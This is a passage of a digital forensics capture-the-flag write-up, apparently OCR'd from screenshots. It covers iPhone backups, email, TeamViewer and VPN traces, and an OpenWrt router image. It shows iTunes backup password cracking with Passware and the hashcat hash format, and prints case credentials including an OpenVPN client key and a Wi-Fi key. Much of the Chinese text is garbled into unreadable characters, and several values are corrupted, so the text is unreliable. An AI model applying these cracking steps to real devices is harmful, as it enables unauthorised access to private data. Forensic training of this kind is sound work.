SHEGE » King HO |

MacBook Computer£01 » ZFFEEZFE ) iCloud Drive
BRI FIFARS

D BIEFERERR BRI
kinghooOw0@gmail.com $TX1[hfsa0]:\King_Ho\Users\wongkingho\Library... TE2
S~———— -

65.[21%:] ERiETENEAFHERD (iTunes Backup) B EMHLEOSERAF? (253)

A.12.5.6
B.15.4
C.155
D. 16.0.3

AC

KIRATLAERE, (BREUEXITAT, FAZRIC—F&EHEE

\King_Ho\Users\wongkingho\Library\AppTlication Support\MobileSync\Backup

EFRNSHUL IS, EEManifest.plistiProductVserion:

01-20231105-141859/King_HO_MacBook_Computer.E01/

[BIN] Manifest [£] BIN
2 i) &
WasPasscodeSet bool true
¥ Lockdown dict
com.apple.MobileDeviceCrashCopy  dict
com.apple TerminalFlashr dict
» com.apple.mobile.data sync dict
» com.apple Accessibility dict
ProductVersion string 155
ProductType string mel 1,8
Buildversion string 19F77
com.apple.mobile.iTunes.accessories dict

com.apple.mobile.wireless_lockdown dict

UniqueDevicelD string 00008020-0005106602D3002E
SerialNumber string DX3C2012KXLY
DeviceName string KingHooffgiPhone
» Applications dict
IsEncrypted bool true
*
66.[{HZ/] ERIGHEE—

UTC+8[EE) (AN 2022-12-29 16:01:59,
20221021181451

XEBHEARER, MEESHE.

& iPhone 6 iEE{tAYIT S,

o % ) C:/Users/linhy/Desktop/Case01-20231105-141859/King_HO | ok_Computer.E01/... - o x
oHO 3IN] Manifest [£J BN v QM ¢
I HiEeR '
WasPasscodeSet bool true
¥ Lockdown dict
com.apple.MobileDeviceCrashCopy  dict
com.apple.TerminalFlashr dict
» com.apple.mobile.data_sync dict
» com.apple.Accessibility dict
ProductVersion string 1256
ProductType string mzz
BuildVersion string 16H71

dict
dict

com.apple.mobile.iTunes.accessories
com.apple.mobile.wireless_lockdown

UniqueDevicelD string 124706dc92f8cfe957685ee8dd56eae...
SerialNumber string C38PLUUGSMQ
DeviceName string [KingHoo] £ iPhone
» Applications dict
IsEncrypted bool true
= plist =~ f3:1  F: 1 FE: 9

BN EREEEREEHA? (LAREX
E@EE 20221229160159) (243)


mailto:kinghoo0w0@gmail.com
mailto:wonghoo588@yahoo.com
mailto:kingho726@aol.com
mailto:kinghoo0w0@yahoo.com

67.[ERi%RN] FERFHNFIBAYIZBE (iTunes Backup Encryption Password) SICRTEH A1E3E? (293)
A. Info.plist

B. privacy.json
C. Manifest.plist
D. PasswordPanel.strings

M

. C

o

FRICERTET .

68.[Zi%/] AT TR LARERESE? (153)
A. Passware

B. John The Ripper

C. HashCat

D. Password Recovery Toolkit

&= ABCD
FEIoE*2, XEEEEERETIR,

69.[Z2i%R] iBid ‘hashcat’ % ‘iTunes Backup’ BIRBEEHRIT—/ ‘txt’ R, BZFHRIFHNIOSIR
AR10LLLE, FEFIETIIMMETRFT (String) BIEUEEBITXA txt’ H5? (393)

A. WPKY

B. ITER

C.SALT

D. DPIC

E. DPSL

&= ABCDE

“SFAE:
2. B EEFESE. BRIBE&EHEY Manifest.plist f&3E
3. (REBEERE, EEELS hashcat FIEE, 79 i0s 10 LIEER i0s 9 LIET, AT inputFrommanifest.txt 55}

@ Less then i0S 10:
= Situnes_backupS®<ver="<WPKY>"<ITER>"<SALT>""
e 105 10 or later:

= Situnes_backupS*<ver=*<WPKY>*<ITER=*<SALT>*<DPIC>"<DP5L>

70.[HZ=W] TSERA T MIEFMNE T fthYiPhone XREIE(R, SFEHEBRMA? CARRI{AEF
%) (393)

&= 2022

Passware B IR :
ﬁ & Tools Help © - ] X
.
Recover Flle Password Files Passwords Found Resources Performance Attacks Log
. .
Manifest.plist
Folder C: ) Users ) linhy ) Desktop ) Case01-20231105-141859 ) King_HO_MacBook_Computer.E01 ) 43X 1[hfsa0] ) King_Ho ) Users ) wongkingho }
Library ) Application Support ) MobileSync ) Backup ) 00008020-0005106602D3002E
File Type iTunes Backup 15.5 — Open Password, Hardware acceleration possible
Complexity sese Brute-force - Slow
MD5: 05E2596F29519382C245E823325E2815

Password: File-Open 2022



71.1REE] RE—IX
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ZZ: 1014140

BEREIXERTE:

WEV) BGEP) TEM ®EH)

ELERE

BUHRS

BRIRE

iTEHLAI3DITENHAY IP #lt R A2 (REMA SRR -,

PARI$I{A

LE&SH v HKERS v BHE v (2

iphone

= & W B EETIE(548746)
5 B []o:\Meiya_cup_2022\Group\Image\KingHo\KingHo
@ RGRB(911)
& = [SJFFRIZ(139)
T RIDAIEICR (Mac)(39)
iCalBEERMac)4)
B MadBETEM4)
L EHFEMac)(11)
()mfﬂMac)(ZZ)

= m%mm(Man)(sn
ALILFRERE(Mac)(2)
[ & FRICZ(8672)
S AIEHERR)
> HBAHARAT(195)
o [ B#%5#(81379)
EREPRE(5)
B B =i=fEErins)
[ STi5547(457428)

RIEEEHLICR:

& EGEANT
HF  RES) WAV BHEP)
E -

)

SREE g

TAD w8

s It B B
DEE mERE HESR 2R
5 =pEE

© =gl | BiEEE | BIREBSR X

HERESH v KSHRE v BEE v 2

iphones Q
WMacBHERE)
W EEEE(Mac)(11)
@ BEF(Mac)(22)
= TEEME(Mac) (6)
EIRERIFE(Mac)(51)
SLTEIER(Mac) 2)
= B & HRIZR(8672)
© B @ Safari(Mac)(425)
CHS* IFEE(39)
GRESIFER()
5 CE@HEER(332)
© cE®2022(332)
cE®078(30)
cB@08H(34)
cE$095(180)
5 cE®105(88)
cE@06H(83)
ca®148(1)

=0 T

72.[{E%557] 3DFTEMNRIE—IX

&2 20221020162806
BT T ERXERZRHED
73.[RikRE] Rf5—
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[ HUAWEI P40 Pro+
A KlnchoH’]lPhcne

[1] tai iphone

1
2
3
4 A abcde1 23
5
6 [ taiiphone

'WPA2 Personal
WPA2 Personal

WPA/WPAZ Personal
WPA2 Personal
WPA2 Personal

itng e 23
a| == SFHEUE b King HO_MacBook Computer.EO1 » FFEME » F£EME(Mac)
BH v  AEE BrESIE i FIFFREBET
_Macbook\King_+ B E=id et

SRR

2022-10-06 18:41:21
2022-10-06 18:39:11
(@ 3 |8 Linksys 3Dprinter__WPA2 Personal _____[2022.10.2016:28:06 _E® |
2022-09-24 23:15:53
2022-10-21 18:42:28
2022-09-30 15:34:00

W% EE
=5 EHEUE » King HO_MacBook Computer01 b FFHER » SafariMac) » FASITR » 20225 » 108 » 208
SH v MARE  BESREIer AFRBET
e HBRREAIURL tE SEIAE
1 httpy//192.168.15.2/ Failed to open page 2022-10-20 16:34:56
2 [httpy/10.1.4.140/ robo-r2-foxconn.local || Robo  2022-10-20 16:35:54
3 [Ihttpy/10.1.4.140/ robo-r2-foxconnlocal || Robo  2022-10-20 17:30:27
4 T T— 2022-10-20 15:36:21
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REMERGETENFTENRI3DEEERF

A. CE3_balljoint_extender.gcode

. &% FRRRYEERAT.

B. um3-penguin-real-mini-keychain-merged-tpu.gcode

C. CE3_Prancer.gcode
D. CE3_2020-psu-atx-mount

ZX: 8B

FIFFCuraiiis,

.gcode

VT TFFRISI A

42 (253)

=
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=
=

EREFIURL

iRFTENRIRTIE? (LARIEUTC+8EIE) (29)

ShiElRE
1

2
2

JFRHAURL

http://192
http://10.
http://10.
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Edit View Settings Extensions Help B © Lo ~ Mon 4:47 PM  KingHoo Wong

HE, Open File #0 | [Bcura
Ubuntu 16.04 Recent 1. um3-penguin-real-mini-keychain-merged-tpu.gcode
Open Project... 2. Basket.STL

Ubuntu 18.04
Ubuntu 20.04
Save All > Print Setup disabled

Save project G-code files cannot be modified
Reload All Models F5

10-20 18:16:34
x_Windows_

ng_ HO MacBook

accountsd wants to use the "login” keychain.

Please enter the keychain password.

L Password:
? Cancel OK
View Mode: Layers '
Color scheme
Material Color a [
Extruder 1
Show Travels -
Show Helpers =
Show Shell
Show Infill im3-penguin-real-mini-keychain-merged-tpu ¢  SICiNg unavailable
10.0 x 10.0 x 10.0 mm

s = utﬁ‘tlﬂ @ e tlO0ab

7450 R ESETENAYSafariEZEH9ELAIE S| EE (Default Search Engine) 2147 (29)
A BE
e\'lh
C. 360
D. Safari

B=E: A

Mac{hE, BSafarifVEFiAE RS

G
MHHF) ®EE) EE(V) SERWUM) R #EH)

X
King_HO_MacBook_Compute...
I:l @ sSafari File Edit View History Bookmarks Window Help B O oo ~ Mon 4:37 PM  KingHoo Wong

FetE 4 weibo.com <
Ubuntu 16.04
Ubuntu 18.04
Ubuntu 20.04

Failed to open page Failed to open page +

Kali Linux 2021.03
200 ! e}
rver 200 B =8 I Qw0 € = 1@,
2023-10-20 18:16:34
Alex_Windows_ Search engine:  Baidu <

+ Include search engine suggestions
ng HO MacBook

Smart Search Field: (v Include Safari Suggestions
+| Enable Quick Website Search Manage Websites...
| Preload Tep Hit in the background
| Show Favorites

mrernet

This page can'’t be displaye cause your computer is currently offline.

accountsd wants to use the "login” keychain.

Please enter the keychain password.

L Password:

| 2 cencel | (NCIEN

uaaalen e}



75.[5i%RE] ST ERSTTENMEE, ESSNELSTHEE (Bitcoin Wallet) MIIERHA? (243)
A. bc1quw... ...zpzjzt
B. bcigm... ...5f7n9%g
C. bc1q79... ...h4sq52
D. bc1gsl... ...je7hkk

E=x: A

TEBRRERHA AR L -

23 | EL HGIESR %

S 20231151515524.. e Q@& 140%
acMail » kinghooOwO@gmail.com b [Gmalll b FFESERE

(824 InAEE BREERRRDT FIFTSBET

King Ho Wong <kinghooOw0@gmail.com >
Chun Hei LAM < chunhe1amm@gmail.coms;
10.1.4.116; 203.198.117.182

BTC 2022-10-06 20:26:56

IMG_0038 (1)jpeg (11.6 KB) I Hilt

saun xd500eae2bdb

R HPhone il € 9

z Ho Wong <kinghooOwO@gmail. con>iB§2022F @L08E ¢oe 20: 15 Life

Eug s e REFIT #@25, 0008018 4T0. 0006BTCER Y #53%F

RIZ48 R 1Phone

¢ 2022 @ 1088 @68k 7 HIBIEURT: 508 Mhun Hel LAM <churhellannfgnail. cem> $# A Hi¢

QL MR 0.0000018 e , BTN e RN EEE

76.[EAj%FT] AGCATRT ‘Carson’ H— M HARRGMAIERERM,, SFESIEATENEEHEL
‘Carson’ FYEBHERKFER. (293)

A. AGC2020@pw

B. AGC2012@PW

C. AGC2020@hkg

D. AGC2021@PW

B=E: A

EITEREET IR ER, HEh— P EERN:

* BUEAG
MR RES) =RV BREP) IEM  ®EH)

B = = It =] i =] ] 2

=PIEE  ENzE  SMENE  SERE SdESIR i 3 BHREE  BUERE BRRE  TH& e =R

B SpIEE | ¢ ZfiEE | BibEws | DRESRE X

HEASH v KERE v BE v (2 :inz7e3 EE=
geode ol =& SFEUE » King HO_MacBook_ComputerEO1 » ER{4HRIT » Mozila Thunderbird(Mac) » cs@agcom.shop b WrfdiE

& | & Google Chrome(Mac)(8247)

- BiH - AR BUESFIRE4 FIFRBCT

= SEIAHER(2) 22-09-30 13:35 EEERE
B HRERAT(195
=] [ & Macf\/\ail)mz&) 22-09-30 13:40 BHEA admin<admin@agcom.shop>
aE A cs@sgcomshop<cs@agcom.shop;
:z :@H(m 22 ULE]T AREERSEIP:  192.168.182.135
i " on by Mact) Efial: 2022-09-30 14:11:44

E &0 ® kinghooOw0@gmail.com(110)
oL B FTEHHES)
B & [Gmail](105)
o R IRERA(S)
o & ArEHE(100)
& 1 &* Moxzilla Thunderbird(Mac)(70)
o SIERR2)
B0 #cs@agcom.shop(61)
o (Y FREHTE()
ol (ERE(S)
3l fHE(20)
SEEEMEET)

SEED

77.1 B FSEQREFRAGCATRT ‘Carson’ KiXMBHPAAGC B, XETHHBAY ‘Message-ID’
Bt4? OEChE 8 (#E. (MABEXHMR{AR=FEE, i 4GEFI0GD) (293)

iy
=

22-09-30 14:11

CS Carson
HAR, WETRH8, BHTHNE. @

FREEESE ACC20208pw
——

22-09-29 18:49

:46
22-09-29 18:33

22-09-27 19:31 admin

o o0

M



78.[Zi%RE] ERERBITENEMH TRENZEINAGCATMERE? (253)

A. Teamviewer
B. OpenVPN

C. Remote Desktop Manager

D. Tor Browser

rEZe
BE:

AB

AETHACGHIPCEB IR AT LAK I,
BitIEEMachIZ SR LT

CRZEZRTRDP, (EE

DS REB T

A BUEAST
) &

Hb

MEV) BEP) IRM ®BEH)

LERSH v KRS v
vpn a| =2
5 [CIEFE(1129)
FHLERERF(308)
BDAENER(547)
& EBEERFHTR(1)
B | BITESE(S1)
NERFIAHATRENES(51)
o MIERATHER(30)
WRERISR(21)
LIRFEIRRB222)
@ @ FRIER(17068)
® D EBRRIT(187)
@ | [EESH(72026)
[ szi43#(343389)
SaSBAIA(35)
= ECortana(17)
@  [EOneNote(11)
& ETeamViewer(7)
ExEHES

o

WEV) WEP) IEM =EH)

HEASH v KESRE v

ven al =2
2 U WL EmEE985328)

&  [10:\Meiya_cup_2022\Group\image\KingHo\KingHo_Macbook\King

G WRHEmEO11)
WRFHEB(Mac)(677)
B SEREREMac)(71)
BRI 1)
FUSBIREFREREE(Mac)(163)

| [CIFEFEE(139)
© @ ERISR(8672)
® ) SEIRER()
| D HBERRHT(195)
@ BEES#(81379)
F o SERERRE(S)
© | BEEEEFR(S)
B X ei(457428)

[10:\Meiya_cup
m W ERGIRE(2748)
= ([CIEPEE(1129)
FHHLEEFIERF(308)

\AGC_Desk Deskt

79.[ %)
A. ost

B. xIsx
C.jpg
D. docx

SHATEAGC

K2 AB

S o il

gl

{EFH T TeamViewer;

BT ER

T, INBRLZEMIXANVPNFH NI A TR

BERES

SEFIRemote Desktop ManageriX

WiEslE B

SHE > AGC Desktope0l b EfEAI » TeamViewer » EEEMEEZNES
S v AR BREETREZ IR
e TeamViewer ID 7 | FFARTIE LA
O 1 [1358639376 2022-09-3017:15:226  2022-09-30 17:15:2
0 2 [1358639. 17:17:32 17:29:1

=

RitBPE
8 admin
2 admin

SBE » King HO_MacBook Computer£01 » RUGRSE » SMHMHMac) » RIERE

[ inz7E (=3
S v MARE  BHERIENE
= k=2
0O 28 [ Mailapp
O 29 [ Mapsapp
(J 30 [1Messages.app
(J 31 [} Mission Control.app
[J 32 [iNotesapp
(J 33 [1OpenVPN Connect.app
0 34 Anstall Open onnect....
(J 35 [0 Photo Booth.app
O 36 [IPhotos.app
(J 37  [1Preview.app
O 38 [QQMusicapp
(J 39 [1QuickTime Player.app
(J 40 [iReminders.app
0O s«
0O 42 [Jsafariapp
(J 43 [1Skype.app
() 44 [ stickies.app
4

EATeamViewer{EHAIS4EE

agies SO
BHREE
\Applications\Mail.app
\Applications\Maps.app
\Applications\Messages.app
\Applications\Mission Control
\Applications\Notes.app

\Applications\OpenVPN Connec... 3.
\Applications\OpenVPN Connec...

\Applications\Photo Booth.app
\Applications\Photos.app
\Applications\Preview.app
\Applications\QQMusic.app

\Applications\QuickTime Player....

\Applications\Reminders.app

1 Remote Desktop Manager.app \Applications\Remote Desktop ...

\Applications\Safari.app
\Applications\Skype.app
\Applications\Stickies.app

104
3.0
2019.1.9.0
112
8.88

100

]

LEHANT T A RBIROEER? (253)

1105-141859

p=——: EELTEINA
RemoteControl {0068C264-1FFE-4397-9CE2-94D43E4076AT}
RemoteControl {BC

SFHEEN

Copyright © 2012-2015 Apple I...
1.2, Copyright 2007-2014 Apple...

Copyright © 2022 OpenVPN In...

OpenVPN Uninstaller

Copyright © 2005-2015 Apple ...
Copyright © 2015 Apple Inc. Al...
8.1, Copyright 2002-2015 Apple...

10.4, Copyright © 2009-2014 ..

Devolutions inc.

11.1.2, Copyright © 2003-2018...

BERER
2016-02-19 14:28:41
2016-02-22 05
2012-05-08 0!
2015-08-02 1
2016-02-151
2022-09-29 1
2022-09-29 10:49:43
2015-08-07 10:12:11
2016-02-14 15:48:36
2016-01-15 12:50:35
2022-09-08 10:07:01
2016-06-24 1

2022-08-23 13:
2015-08-02 14:03:51

BFA43DOF6}

5

Mac 0S X 10.11.6
Mac 0S X 10.11.6
Mac 0S X 10.11.6
Mac 0S X 10.11.6
Mac 0S X 10.11.6
Mac 0S X 10.11.6
Mac 0S X 10.11.6
Mac 0S X 10.11.6
Mac 0S X 10.11.6
Mac 0S X 10.11.6
Mac 0S X 10.11.6
Mac 0S X 10.11.6
Mac 0S X 10.11.6
Mac 0S X 10.11.6
Mac 0S X 10.11.6
Mac 0S X 10.11.6
Mac 0S X 10.11.6




B m & = @ =

e REE BOERS  mRESE  IR& e =

HEaSH v kSRS v EE v (2 i =13
pn Q BR EHWE » AGC Desktop.eOl » RfBAFA » TeamViewer » XIHFRHES
B [CIFEPm(1129) S v WARE  BWSENRTH  IRRRCIA
w | EFEEmHER(308) AdteTeamViewer ID Attt TeamViewer&fR A imiEgTeamViewer ID mETe
@ L EROAEER(547) 9-3017:19:00 1105043581 hoo123 Ci\Users\admin\Desktop\ip.txt 358639376 hoo12:
& EMEERPRER(1) 9-3017:21:32 1105043581 hoot23 Ci\Users\Carson\Documents\EFERNES #2022 (F18) xlex 358639376 hoot2:
N EREE(ST) 9-3017:21:39 1105043581 hoo123 C:\Users\Carson\Documents\& S EFNE S EF 2022.xlsx 358639376 hoo12:
B o R ER TR EEE(S1) 9-3017:22:31 1105043581 hoo123 CAUsers\C. ppData\Local\Mic Outlook\cs@agcom.shop.ost 358639376 hoot2:
o B EEMINER(30) 930 17:24:23 1105043581 hool23 CUsers\Ci ppData\L i Outlook\cs@agcom.shop.ost 358639376 hoot2:
o METFRERSR(21) —
LERETRRRR(222)
" @ ERIZR(17068)
B O EBEERRIT(187)
@ | BIB®ES#(72026)
B 3esH7(343389)
B Ba RBRZA(3S)
@ - [Cortana(17)
@ [OneNote(11)
= ETeamViewer(7)
CEHEREe] =
EiEEEERREIEE )
>

< ]

80.[1E="/] ESiEANTEINT 20226982908 E1E F— N EIEAML (Virtual Private Network -
VPN), XAVPNEIIPHEIEERHA? (RBRMAZRDRY ., AWMRBHFEE) (293)

&= 61238217108

BEEopenvpniIEEXH, BHREESZMovpn, EIEEREENH:

5 com.apple.LSSharedFileList.RecentDocum: 1664420386122.0ovpn * R

Xt fwmE BER

user nobody

group nogroup

dev tun

nobind

client

remote 61.238,217.108 1194 udp

auth-nocache

remote-cert-tls server

<tls-crypt-v2>

————— BEGIN OpenVPN tls-crypt-v2 client key-----
XHXrY+hA90g38jfTzLPUIj1izdPuXPezAvsitcbgI7CTwwyWs7WXx6cMNo+TWlLaF
yxEfskgNapOKzCbVMcSe31ABhSYT4G10e8VAhI@IWiOwPORCF1jZ+AF81QENET1]
R7X+9VUUbKt+@H3TwSGW2GE7pH7dAcavMf TBM3dHr+NuX78cnqOVIZ53Xv1]ZGBA
6dUr4in7QRjDsXbyAsedzatvi8seMMveScKkLvSqldq9I+BRCTFwx6fsFgyNI71P
TbOHomnqyCMN2VUC/ x5gTYyJeQl7mk8hCrFgEmMT8RC219TMekpmd14yhcP1MK18N
Yhymk4av5fQbar+yZONer8dwL4avZCnmPe2onG3vhNfnXCFgodB3trdEm4z 37341y
OLHBOXjSF1tIs177rXUasxbgMPZKLU6jH39zZwBGTs5xtB3jRO8BB3YP5q735KCKI]
SwpNeP+0+HVNFEYgk2UQQqGrj3zZVwMPARWW2wWQdIrn/QsX1fiUE31z@2BUURSMvIC
Su7hAYzZtMIOXEHNdKipScxLL9/UrmDLAQkTh6eZULwhVSMK jGbzwIS6PH2BTRvr1
Q90EP+8URTUJy®5PIxdLx90kRckQqktokL juHuL7ZPP9rh9HQOqcsWIzoeFv75kQ
pjafCc3usvuqlCeQWykO+IK8sTClUdFbLBSFNSEXXm8jns7vodvGdP3GTalIbyuvn
GlLeeae6TfebvoZ3jv0oup9us3kDFvh/x3gEr

————— END OpenvPN tls-crypt-v2 client key-----

</tls-crypt-v2>

81.[{H%5/#] & ' [KingHoo]| HiiPhone’ RYEEZF IR AIEHIBIE (MAC Address) Bt A? (REk
ABERRR " -, ABENRIHRAHFEE) (153)

ZZ2: C81EE74AF933

EREBBILERNE &R, HERINIRERIA:
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B RAERBO1) O 6  [JHandySteam 44-17-93-53-7¢-86 2022-08-09 15:33:55 E#
B [CIRFEE(139) o7 [ LE-OpenRunPro  4a-34-a9-1a-96-4f 2022-09-26 13:36:17 s
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Metric / Imperial  Settings

Pilot in command: | All Pilots ~

Active Flights: 7
Plan limit: 100

Total Air Time: Oh 08m 32s
Total Log Time: Oh 09m 23s
— e

Longest Flight Time: 08m 31s

:

Beginner Extreme

Farthest Home Distance: 2,241 ft

Around Home

Far Far Away

Highest Altitude: 114.5 ft

Keep it safe Cloud Seeker
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A. {RiRATIE
B. Z45E
C. X

D. RZR
E. HIRRSE

&K=z AB

EEexifER.:

Display Map
Drone: | All Drones v
Total Photos: 2

Total Videos: 6

Total Mileage (all flights)
1.3 Miles

Hottest Battery Temp: 108.5 f

Cool It's Cooking

Longest Mileage: 64 ft

Hover around Keep it moving

Fastest speed: 33.73 mph

Take it easy Wind Surfer
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89.[88)%R] BARREE (Raspberry) it BHURERFRIENZBFR (hostname) BH4? (153)
A. OpenWrt

B. admin

C. root

D. AsusRt

E. DDwrt

EE: A

fEAbinwalKIZEXEUS RIS ZR FE, 7E /ext-root/upeer/etc/config/system FAINFHEFR:

system
rooney_router.bin.extracted/ext-roo

T7(0) ~ | A — ®ES) 2 v oA X%
| |

config system
option hostname 'OpenWrt'
option Zonename Asla/Hong Kong'
option timezone "HKT-8'
option ttylogin '@’
option log_size '1280000'
option urandom_seed '0"
option log_remote '0'
option log_type 'file’
option log_proto 'udp’
option conloglevel "8°
option cronloglevel '5'
option log_file '/usr/kinghoo/RecoRd/SYSlog"
option log_ip '1@3.10.12.106"

O 00~ Wk

config timeserver 'ntp'
option enabled '@’

90.[251%3%] LA FEA R ES T EHURMER R R IERAY? (253)

A. LANibiER 192.168.1.24

B. IR ¥ smfEiEHY (Point-to-Point Tunneling Protocol - PPTP) VPNBRS3
C. WIFIZRZH3/2'OpenWrt’

D. iR MERIEIHY (NTP) BRSS

E. BXigEREFFUTC+8

22 AE



D. EGEIE ERERISGHEILAFIET, IRBFFENTP, REIKIREREBHIE, FNUTC+:

THO) v | A — system ®EE) P v oA X

LE/_rooney_router.bin.extracted/ext-root/L pperietcicontig

config system
option hostname 'OpenWrt'
option zonename 'Asia/Hong Kong'
option timezone 'HKT-R'
option ttylogin '@’
option log_size '1280000'
option urandom_seed '0’
option log_remote '0'
option log_type "file’
option log_proto 'udp’
option conloglevel "8'
option cronloglevel '5'
option log_file '/usr/kinghoo/RecoRd/SYSlog"
option log_ip '103.10.12.106"

O 0~ WU W

config timeserver "ntp’
option enabled '0'

£ /ext-root/upeer/etc/config/network EJLAFIRFA, BiEIT, LANAJIPIERS, RAAIZEOpenVPN
MAEPPTP:
network

(S E_rooney_rol ter.bin.extracted/ext-root/L pperfetc/config

fTH0O) ~ A ®F(5)

config interface 'loopback’
option device 'lo’
option proto 'static’
option ipaddr '127.0.0.1'
option netmask '255.0.0.0'

config globals 'globals’
option ula_prefix 'fdée:d37d:3927::/48'

config device
option name 'br-lan’
option type 'bridge’
list ports 'eth@’

config interface 'lan’
option device 'br-lan’
option proto 'static’
option netmask '255.255.255.0'
option ipbassign '60'
option gateway '192.168.1.1'
option ipaddr '192.168.1.24'
LISTdns"6.5.8.8

config interface 'OVPN'
option proto none’
option device 'tund’

/a7t /ext-root/upeer/etc/config/wireless HFKEICIT, [1$459814785:



wireless
a — . . . AT
| SE[E/_rooney_rov '!'I'.l':lll_:' XErac | xt-root/L |_:|_::'I'-:": jcontng

fI7#(0) ~ BES 1 v o~ %

config wifi-device 'radio@’
option type 'mac80211’
option path 'platform/soc/fe300000.mmcnr/mmc_host/mmcl/mmcl:0001/mmcl:0001:1"
option channel '36°
option band '5g'
option htmode 'VHT8Q'
option cell_density '@’

config wifi-iface 'default_radio@’
option device 'radio@’
option network 'lan’
option mode 'ap’
option ssid 'OpenWrt’
option encryption 'psk2’
option key '59814785'

1
2
3
A
5
6
7
8
9
10
11
12

91.[Zi%RA] & LR, 'VPN' IRSSERAIPIHbLERZ RO (Port) B1+47 (293)
A. IPHiE 61.238.217.108

B. IPitiiit 192.168.8.1

C. IPHiiik 103.10.12.106

D. i 33248

E. %[ 1194

F. %0 1701

&2 AE
1£ /ext-root/upeer/etc/openvpn/rooeny.ovpn P EIEE (4

170 ~ A ens b ®ES) I v oA

R E(_rooney_route r.bin.extracted/ext-root/L PPE penvpn
1|user nobody
2|group nogroup
3|dev tun

6/remote 61.238.217.108 1194 udp
7|autnzwecacic
8/remote-cert-tls server
9|<tls-crypt-v2>

BEGIN OpenVPN tls-crypt-v2 client key
11| XHXrY+hA90og38]fTzLPUJj1izdPuXPezAvsifcbgI7CTwwyW67WXx6cNo+TWLlLaF
12| yxEfskqNapOKzCbVMcSe3iABhSYT4Gi0e8VAhJOIWiOWPORCF1jz+AFBIQENEL1]
[13|R7x+9VuUbKt+0H3 fwSGW2GE7pH7dAoavMf TOM3dHr+NuX78cnqOVIZ53Xv1JzGBA
14|6dUr4in7QRjDsXbyASRdZ4tVf8seMMveScKkLvSqldq9I+BRCFFux6fsFEyNI71P
[15| FbOHomngy CMN2VUC/xSgfYyJeQl7mk8hCrFqEMT8RC219TMekpm4 14 yhcPIMKLON
16 Yhymk4v5TQb4r+yZONer8dwL4vZCnmP@2onG3vhNfnXCFgodB3trdEmszf3ZI41y|
[L7|oLHBOX jSF1tIs177rXUa8xbeMPZKLu6jH39zwBGfs5xtB3jRO8B3YP5q735KcKI]
[18| SwpNOP+0+HVNFEYgk2UQqGr j3 zVwMPARWW2w(Qd Jrn /QsX1fiUE31z@02BUURSMVIC

92. 1R/ BiIRE ST EHURMERFRE T — MIREEFREAR 'log_file' , HEBHEHA? (RE
BN, UXBRXRMAAEFEZ. i Cat10.jpg, FEIZFCATIOPG) (253)

&2 SYSLOG

/ext-root/upeer/etc/config/system PAIMBEEIRRSBIR:



1HO) v A system

ey_router.bin.extrac

e ®EES) P v o~ X

config system
option hostpame 'OpenWrt’
option zonename 'Asia/Hong Kong'
option timezone 'HKT-8'
option ttylogin '0'
option log_size '1280000'
option urandom_seed '0'
option log_remote '0'
option log_type 'file’
option log_proto 'udp’
option conloglevel '8’
option cronloglevel '5'
option log_file '/usr/kinghoo/RecoRd/SYSlog'
option log_ip '103.10.1z.105"

=
SO O~ W

config timeserver 'ntp’
option enabled '0’

93.[ERi%kRR] & LR, 1S LiRRYIEEE, HPELM Pt BEEIIEFRIXMRRRY VPN IRSS? (353)
A.1

B.2
C.3
D.4
E.O

ER: C (RIHBRS)

XA syslogiEBE— ol diR AR T, (BRINFRIEIX Dol dBNERRERRESR:

=

= s (RS
w o e
: - Gent i 400-008-9958
WY HESE  wEve 531 BBESE SHSR  AGTE Disk BEEHRLBHQQEE
o |
o — T
RAW EXT4 (FDD)
99.0MB
B4 E:File BS:Disk Image FH&:99.0MB HEH:12 #AH255 SEHRH63 SEXE202752
- . HD2:SanDiskExtreme55AE(1863GB; SEEH WS BEXEE
et | S Jepotiny G Dpes D Opms 2e 5
AHIREER (H:) @« B HuN SR =3 {EnadTE BIERE
EHEM) =
-[f] VDO:rooney router.bin(99MB) [ (] log4j.jpg 111.9... Jpeg Bit% ~PW-T=-T-- 2022-10-1415:32:00 2022-10-14 15:32:00
B.‘._ [ @/ log4jjpg.copy 178 copy 3# Irwxrwxrwx D 2022-10-06 00:54:48  2022-10-06 00:54:48
2~ ] S¥Slog 420.5... X4 ~rW-r--r-- 2022-10-24 00:03:01  2022-10-10 00:07:21
B'Dﬁ upper Dm S¥Slog.old 1.5MB old 324 -rW- -D 2022-10-09 17:32:57  2022-10-01 05:17:19
153 etc T TsrstogoT Tt —p RS U050 27 TO=2F 00050
001 lib
- | root
-]/ | sbin
O | usr
-1 | bin
=[5 | kinghoo
[J& RecoRrd
[ scripts
O/ b
7 libexec
[0 sbin
[0 | share
0 waw
Og work
-~ Frigs -
[ e B3R Z44EE: Jupper/usr/kinghoo/RecoRd/

FRrUAF S w2 FRIE SRR T AUBB NS, ZPERkIIAIRESRBESA Peer Connection Initiated

with XERER, HIETEEI2 N ip:



[:—Lmr164iﬁkaliJ—:~f_fupperfusrfkinghonfkecnkd:
$ cat 5YSlog| erep | awk '{ Pl awk -F { } | sor

14.0.169.140
5.137.19@.123
clien oy L1408
client/155.137.190.123
event_wait

Linux

MULTI_sva
net_addr_vé4_del
sitnl_send

TLS

94.[ERikRA] R LR, 1M LRROIEEE, HhENMPibIERESEIL root’ BN RBE(EEZMERTA
FEIN? (293)

A2

B. 4

C.5

D.6

E.8

Z=X: D

&I Bad password attempt for 'root' 24HE, EULREEEFHTILIE, &6 Nip:

I_—'L mrl64® kali)-|~/../upper/usr/kinghoo/RecoRd

$ cat sYSlog| erep | awk "{ }'o| awk
-F { }' | sort -u

124.79.243.92

129.146.59.220

183.223.37.167

37.116.206.113

52.231.39.245

61.184.24.2490

95.15Z/0] IRIBEEBRIZEICR, ‘log file’ BIRTE ‘'usr/rooney/” R SHEHHIBRAIFSIHIE (Sub
Directory)? (MAXKBHEX[EE) (353)

Z32: RECORD

IREFTLUERIXAS, BAEGUE T TR ERE. B55rIE/LEREDisk GeniusHRIL T #HMlbRAIog, A5
fBFAR-StudioRT usr/rooney/ XNERE—MER, BkiEEI T kinghooH:

2L root
[]° sbin
v [ ] usr
17 bin

>[a kinghoo<

> [ lib
17 libexec
[1 ¥ rooney
] shin

> [1° share

> O www
> O work
> [m] © Extra Found Files

[0~ Metafiles

frE, FIAAHRERECORDI A,

96.[{HZ=RA] £ =ik SD ic1Z& (SD Memory Card) I FESEB S V1 F1 (Byte) ? (LARR{BEI=T]
) (19)



&= 8004304896

RN RBEXE:
A itE= S ] X
= R e
BE ST +7uE 512 x 15633408 =

EF: 0:\Meiva_cup_2022%GroupiInag

BEnl: BRER 8,004,304,896

BEF: 7. 45 GB
BHA: 512 Byte
TR gl: 10, 6as, 408 DEG F-E
BEL: FimEE MC MR M+ M- MS
